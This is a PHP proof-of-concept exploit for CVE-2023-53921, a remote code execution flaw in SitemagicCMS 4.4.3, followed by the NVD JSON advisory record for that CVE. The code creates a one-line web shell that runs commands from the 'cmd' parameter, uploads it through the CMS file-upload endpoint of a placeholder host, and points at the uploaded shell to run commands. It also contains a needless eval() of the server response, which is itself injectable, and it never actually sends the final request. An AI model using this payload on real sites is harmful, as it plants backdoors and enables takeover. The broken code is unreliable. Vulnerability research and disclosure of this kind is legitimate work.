CVE-2023-53921

<?php // CVE-2023-53921 PoC - SitemagicCMS Remote Code Execution // Affected Version: SitemagicCMS <= 4.4.3 // Vulnerability: Unrestricted file upload leading to RCE // Step 1: Generate malicious PHP file $php_payload = '<?php system($_GET["cmd"]); ?>'; $filename = 'shell.php'; // Step 2: Upload the malicious file via SitemagicCMS file upload endpoint $target_url = 'http://target.com/index.php?SMExt=SMFiles&TYPE=upload'; $post_data = [ 'file' => new CURLFile(realpath($filename), 'application/x-php', $filename) ]; $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $target_url); curl_setopt($ch, CURLOPT_POST, true); curl_setopt($ch, CURLOPT_POSTFIELDS, $post_data); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); $response = curl_exec($ch); curl_close($ch); // Step 3: Execute command via uploaded shell eval('$uploaded_file = "' . $response . '";'); $shell_url = 'http://target.com/files/images/' . $filename . '?cmd=whoami'; // Alternative: Direct file upload to files/images directory // The vulnerability allows direct upload without proper validation // Uploaded files are accessible via web root // Payload for PHAR deserialization attack // $phar = new Phar('exploit.phar'); // $phar->addFromString('test.txt', 'test'); // $phar->setStub('<?php __HALT_COMPILER(); ?>'); ?>

{"cve": {"id": "CVE-2023-53921", "sourceIdentifier": "[email protected]", "published": "2025-12-17T23:15:51.107", "lastModified": "2025-12-31T18:36:40.327", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "SitemagicCMS 4.4.3 contains a remote code execution vulnerability that allows attackers to upload malicious PHP files to the files/images directory. Attackers can upload a .phar file with system command execution payload to compromise the web application and execute arbitrary system commands."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.7, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-434"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:sitemagic:sitemagic_cms:4.4.3:*:*:*:*:*:*:*", "matchCriteriaId": "42EA9C70-C576-4996-A9CC-CADE12855279"}]}]}], "references": [{"url": "https://sitemagic.org/Download.html", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://www.exploit-db.com/exploits/51464", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}, {"url": "https://www.vulncheck.com/advisories/sitemagiccms-remote-code-execution-via-unrestricted-file-upload", "source": "[email protected]", "tags": ["Third Party Advisory"]}, {"url": "https://www.exploit-db.com/exploits/51464", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Third Party Advisory"]}]}}